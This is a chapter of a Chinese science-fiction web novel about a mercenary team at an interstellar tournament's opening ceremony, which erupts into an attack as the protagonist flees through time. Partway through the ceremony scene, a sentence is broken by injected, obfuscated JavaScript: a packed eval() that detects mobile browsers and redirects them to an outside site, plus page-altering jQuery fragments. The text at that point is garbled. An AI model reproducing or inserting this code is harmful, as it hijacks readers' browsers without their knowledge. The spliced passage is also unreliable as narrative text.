R扭头看时刻表,果然是她要坐的航班开始检票了。背起包、抱起点心盒往登机口赶,边走边和安琪儿道别,让安琪儿不要忘了及时回她消息。 安琪儿在R走入通道后,放下挥别的手,将通讯草稿箱里的退团申请发出,提起行李走向她的航班。 65.开幕式 伊冯现在还不知道安琪儿的决定,她正与追龙佣兵团的参赛大部队一起,前往卡诺尔系。 卡诺尔之于西盟就如望月之于东盟,这么重要的地方要汇聚几十万佣兵,就算真的只是单纯举办一场友好的竞技赛事,军队也得打起十二分的精神盯着佣兵们的动向。 追龙共有六个分队,此次每队选十个人出来参赛,团里拿了最气派的一艘战舰载她们出行。 虽然和马克的私人飞船差不多大,但这是装备了杀伤性武器的战斗型舰船,作为民间团体,已经高调得不怪星盟盟会与各家族联手,也要对佣兵们出手了。 伊冯不觉得佣兵们会对自己的处境毫无自觉,这场盛大的星际竞赛下的暗流汹涌,各方应该都有自己的决策。 盟会再如何表达友善,也不可能放任佣兵们带着舰船进入元星,前来参赛的佣兵们都被要求将载具悬停在远离元星的星域,等开幕式开始后参与大赛的成员再脱离载具进入。佣兵们大多愿意配合,毕竟她们是为了得到承认和将来更友好的合作,而不是联手围攻元星来了,不做些让人猜忌的敏感事是应该的。 不过这么把人拒之门外,理由再充分看起来还是有些怠慢,盟会的人因此特意到各佣兵团的船上和各团领袖见面。 盟会的人在军队护送下到来,周溯龙正在大厅负责招待,不想应付那场面的都偷偷溜到舰船上别的地方装忙,伊冯也找了个偏僻的舷窗坐着,打量着外面西盟正规军的飞船。 经过中转站时也看到军队布置了无死角的安保系统,每个士兵都慎重地监视视线范围内的每个角落。 她很少到卡诺尔,这里的队伍用的装备是什么时候换的,比起研究塔,怎么更像是出自叶家的科技? “想什么呢?你不像是会为比赛紧张的人啊?”二号靠在椅背上,啃着一块梅花糕。 伊冯瞥了她一眼:“不是不喜欢吃吗?” 二号一点没不好意思:“我是说这些糕点比我姐做的差远了,但比食堂里做得能吃。尤其比这种舰船上的随行厨子做得能吃。” 伊冯不想理她,看着舷窗外的星云放空,二号也不在意,继续在她耳边说些没营养的话。 二号说:“你变了,你以前对我没有这么冷淡的。是不是看到你可爱的学生都和我更亲密要好,吃醋了?吃的哪边的醋?” “我如果现在转给你十万,你是不是又要说我亲切温柔了?”伊冯揉了揉受骚扰的右耳,“你更不是个无事献殷勤的人,想要什么就说。” 二号还装正经:“你把我想成什么人了?不如你先把钱转来看我会不会改口?” 伊冯敲敲终端,二号还真收到了一笔转款,她看着入账金额挑起眉毛:“二十万?你又要向我买什么危险物品?” 伊冯说:“买个清净,可以吗?” “可以。”二号感叹着,“我最怀念的豪爽顾客又回来了,太让我感动了。” 伊冯说:“你该闭嘴了。” “商品发货、生效都要时间的嘛。”二号反而凑得更近了,“最近发财了,还是以后不过日子了?突然这么大方,传闻里的蓝金终于出手了?” 伊冯似笑非笑地转头,二号被她盯着立马乖巧,在嘴巴上画了个叉。 这边两个少年人终于安静,坐在一起看星海,舰船通道远处却有几个正悄悄看着她们的。 “尔好在我们那多少年了,从没那么活泼过。”追龙一分队队长冲柯查尔抱怨,“你们队的人怎么回事,把我的人拐跑不说,把人家的性格都变了。” 柯查尔哪里知道。尔好是团里出了名乖僻的天才,突然主动要求调到她的分队,比起欢喜,更多是担忧这位奶奶究竟想做什么;见尔好入队后一反常态,变得健谈外向,和安雅、黄琳两个相处融洽,柯查尔猜到尔好的目标是利比逖,恐怕是听说了团里又来了技术型天才,有了什么想法。 得知尔好和利比逖是多年好友后,柯查尔又猜不准事实究竟如何了。 尔好是团里费了不少劲挖来的人才,入团时立了一堆规矩这个不许那个不做,有点不顺她的就要跑,好在技术过硬,让追龙的软硬件条件比同行优越许多,性格再麻烦团里也愿意包容。 如果尔好和利比逖等人在一起时的状态,才是她的真实性格,那就说明这些年她从没把自己当成追龙的一员;如果尔好现在的状态是装出来的,利比逖会不知道? 柯查尔不知道也得表现成知道但故意装傻,说:“说明我们队风水好呗,队员也都富有个人魅力,团结友爱积极向上——我不介意你也来我队里。” 一队长送柯查尔一个“滚”字。 一起扎堆的六队长说:“利比逖好像特别吸引这类人——刘念不也是个不爱搭理人的,结果一看到利比逖,立马跟在人两米以内。” “这几个年轻人都是难得的天才,惺惺相惜,能玩到一块也不奇怪。”二队长也点头。 一队长还是不甘心:“一起玩很正常,非要凑在一队是做什么?好处全被老三吃了!” 柯查尔摸着后脑勺忸怩地笑了,惹得几位队长围住她三拳二脚地表达“友爱”。 作为西盟政治经济乃至现代科技的最中心,元星在各领域各类人群心中都有着非比寻常的地位。首届佣兵大赛在元星开办,在大众眼中,这表示着星盟正式接纳佣兵,有社会学家发言称总是被主流鄙夷为野蛮、捞偏门的佣兵,将在这场大赛之后成为星盟最具活力的新力量;经济学家们关注着公布赛场以来元星以及周边星球暴增的人流量,预测佣兵大赛的举办地会是将来各地推动经济发展的关键,只要首届顺利完赛,各地申办主办的竞争将非常激烈。 这样一场主办方与参赛方都充满话题度的大赛吸引了全星盟的目光,线上线下的观众人数不断打破纪录。 在这样万众期待中,大赛开幕式当然不能低调。 数万架无人机拖着光尾围绕着星球极速飞行,光尾交织缠绕着组成光幕将整颗星球包裹,元星此刻成了太空中的球形巨幕,大赛标识、星盟盟会标识、各大家族族徽依次闪过。 无人机的轨迹向外围延伸,绽放的光之花朵中星球的面貌原始,仿佛是尚未孵化的生命之种,花蕊上的花粉飞散,在宇宙中与四散的无人机相撞。炸开的绚烂焰火中,有星球的诞生、有曾浩瀚的海洋、曾也鲜绿的大地、只存在于历史资料中的动物跃动…… 过去随着焰火消散,光被影替代,影子生长出形状,漆黑的舞者在又一轮火树银花中展示灵动的影子,舞姿将过去带到现在,荒地升起钢铁丛林,星球迎来新生。 “该我们出场了。”周溯龙向队员们下发指令,“准备出发!” 追龙的战舰释出莹亮的紫色烟雾,舰身亮起围绕全舰的银色龙图腾,巨龙正缓缓苏醒,被云雾遮挡难见真容,却不可忽视它如利剑出鞘的锐利目光。银龙发出长啸,钻出云雾—— 船身涂装着龙纹的船队从紫雾中冲出,领头的飞船周身有着龙头立体投影,组成龙身的船只们紧随龙头,一条银龙流畅地游向斯忒波,仿佛投向它的璀璨流星,投影随着银龙游动逐渐扩大,绕星三周后星球已成了龙头衔住的一颗明珠,当巨龙盘踞在宇宙中,所有星辰似乎都只是供它嬉戏的宝珠。 追龙舰船也从紫雾中驶出,舰身通明,舰纹也随之亮起,“薄日月,伏光景,追龙其踪,幽人昼梦长”,化用东玄古老诗歌的舰纹自带神秘感,随着公频广播渐响的鼓点与号角,似乎真有条巨龙穿越了无数时空,从远古响应召唤而来;以舰船为圆心漫出与音乐同频波动的光纹,当音乐奏至高潮,逗弄星球的银龙忽地化为光点,在舰身浮现的长龙号召下回聚。龙游动着与光点互动,又游出了舰船、绕船游动着,此刻的巨龙又成了忠诚的守护者。 在又一曲激昂的音乐中,巨龙化作银光直冲斯忒波,穿透大气层,在漫天的彩色烟花中化作六十股流星坠入赛馆中央,追龙的参赛成员悉数入场。 观众席响起掌声与欢呼,具体的赞美淹没在沸腾的人声中,热烈的反馈证明了这段入场表演的成功。主席台上早已入座的盟会与各家代表也矜贵地点头抚掌,担忧表露喜爱会自降身份,又不能表现得失礼,在佣兵们看来反而虚伪得可笑。 如果自己不是参与表演的一员,伊冯也会乐于欣赏并奉上掌声。可惜她现在只想立刻摘下面罩,找地方坐下等结束。 转播屏上正展示着下一支入场团队的表演,整齐排开站在场内的追龙们重新整队排成一列,站在内场中轴线上。 别的团队编排也各有新意,大气内外各式烟火灯光片刻不停,飞船变换表演队形花样百出。 伊冯背后一重,二号靠着她抱怨道:“我们第一个出场也太亏了,说得好听是给‘三大’排面,说难听不就是看追龙最老实,等久点也不会落主办面子——怪物排最后当大轴不说,鬼兵压根就没来,鬼兵招人渠道在哪?我要跳槽!” 没听到伊冯接话,二号从她肩膀探出脑袋,见她在摆弄终端,便吵着有什么玩的一起分享。 伊冯把内放的屏幕外投,是开幕式的转播。 “你还真对这有兴趣?”二号惊叹,扭头看伊冯情绪浅淡的脸,“光看表情还以为你无聊得要睡着了。” 伊冯说:“反正也没别的事干。” 二号把手一抬:“我们开一局游戏呀?不用进内网玩的游戏也很多啊。” 入场的队伍没几个像追龙那样站成整齐的队列,更没有保持安静的自觉,内场逐渐喧闹,追龙队列 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834039|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的闲聊在衬托下仍是副纪律严明的样。 伊冯说:“我都没玩过,一个新手和你打,肯定更无聊。找别人吧。” “哪有什么别人,这有比你厉害的?”二号倒知道把坏话说得更小声,又问“你有没有想要的奖品?” 研究塔提供的奖品确实个个都是新面世的昂贵高级货,可惜都是伊冯以前亲手拆过的旧设备,她提不起兴趣。 伊冯说:“都行,拿到哪个都不亏。” “也就是哪个你都看不上?你这样参赛没问题吗?”二号搭上伊冯的肩膀,“你应该没忘了我们的约定吧?” 伊冯把她的手拿开,说:“没有。” 二号把声音压得更低:“你今天好像对什么都没兴致。因为以诺·阿吉斯的死?” 在伊冯看过去的视线中,二号端起无辜的笑:“你知道我有门路,知道些小道消息不奇怪吧——评委席上阿吉斯的人都是分家的,听说以诺·阿吉斯的遗嘱里,继承人仍写的她早逝女儿的名字,为此分家斗得更激烈了呢。” 阿吉斯现任家主的突然去世,对于正联合举办大赛的各方倒不成问题,人刚死,还不是分食利益蛋糕的时候。真正在意的,只有阿吉斯自家人。 分家的人怎么会认一个早就宣布去世的继承人,现在坐在主席台上的,数阿吉斯家人最多,都觉得应由自己来代替阿吉斯。 伊冯说:“不行吗?” 虽然她自己知道内情,但对外,她死了父亲,并有遗嘱坐实她仍是阿吉斯的第一顺位继承人,于情于理,她都可以表现得心事重重。二号在人堆里说这些话,无论是真傻还是装傻,都完全不顾虑她啊。 二号说:“只是有些意外……我还以为你不会在乎呢。” 正常来说都会在乎吧,这人是怎么看待她的? 二号又问:“那你接下来准备怎么办?回去继承巨额遗产当贵族女士?” 伊冯没回答她,看着终端外投屏上开始入场表演的怪物佣兵团。 怪物佣兵团的舰船外形古朴,比起在太空飞行,它看起来更该在海中破浪。舰身通体泛蓝,没有为表演而亮起灯光,在太空中模糊了边缘,舰纹是一张白色面具,与怪物成员从不摘下的标志不同,舰身上的面具镂空了双眼,刻出五官。 在镜头内慢慢放大的舰船上,模糊可见船首像是一尊穿着轻甲的女子雕像,女子脸上是与舰纹同样有着五官的面具,雕像定格了女子周身缠绕飘带、被风吹起过耳短发的瞬间,飘带环绕舰船首尾,仿佛凝固的庇护。 怪物的入场没有烟花,没有音乐,只是沉默地将舰船驶近。直到巨舰将要进入元星的引力圈、地面的人群为它的迫近而骚动,它终于停下,众多白点如飞雪洒落,是一身白色单兵机甲的怪物成员们。每团参赛人数最多不能过百,正入场的怪物不多不少,正好一百。 观众们又开始欢呼,将这视为别致大胆的表演。 人声鼎沸中,伊冯关闭外投屏,抬头看向上方。 星外的巨舰上方突然闪起蓝光,万丈光芒仿佛新日诞生,在仰望的人眼中,飘落的白甲佣兵正环绕这颗新日,似乎天使带来神的惠泽。 光芒很快变得刺眼难以直视,伊冯眼框装满永夜的漆黑,正好盛放这轮新日,她仍凝视着上空,看清这光源的真身——那是一颗巨大的在燃烧的蓝金。 恕果然选在这时行动了! 传入耳中的喊叫声已由惊慌困惑变为惊恐痛苦,伊冯抓住站在她身后的二号。 二号转动手腕试图抽出手,说:“你不会也被她们的表演吓到了吧?不就是闪光弹放多了。” 伊冯没有松手:“我们的交易内容是要确保你的安全,我只是在尽我应尽的职责。” 或许是因为周围太嘈杂,二号朝伊冯贴近,才说了个“我”字,突然二人之间出现一股推力将她们隔开。 伊冯看着眼前这团熟悉的黑雾,叹了口气。 二号似乎被黑雾吓到,用力地拧动被伊冯抓住的手。 伊冯说:“来得正好,一起走吧。” 她的另一只手穿过黑雾抓住刘念,思维穿过无数时空抓住她已知晓的一隅,眼前万物定格又变形,被时光冲刷远她而去,所有喧闹都凝固为静寂,又随着风声在耳边流淌为叶片沙沙轻响。 刘念迟疑地开口:“这里是?……” 伊冯松开手,望向青绿的竹海,放松地呼吸宜人的空气。 她朝刘念笑道:“你的老师还欠我一杯茶呢,哦,还有两个镯子。” 二号在伊冯身后看着她,浅淡的棕瞳猛地迸裂,眼中迅速染上鲜红,两道血泪划下,皮肤皲裂出红色暗光。 她发出失真的尖锐声音:“你也是吗,背叛者?!”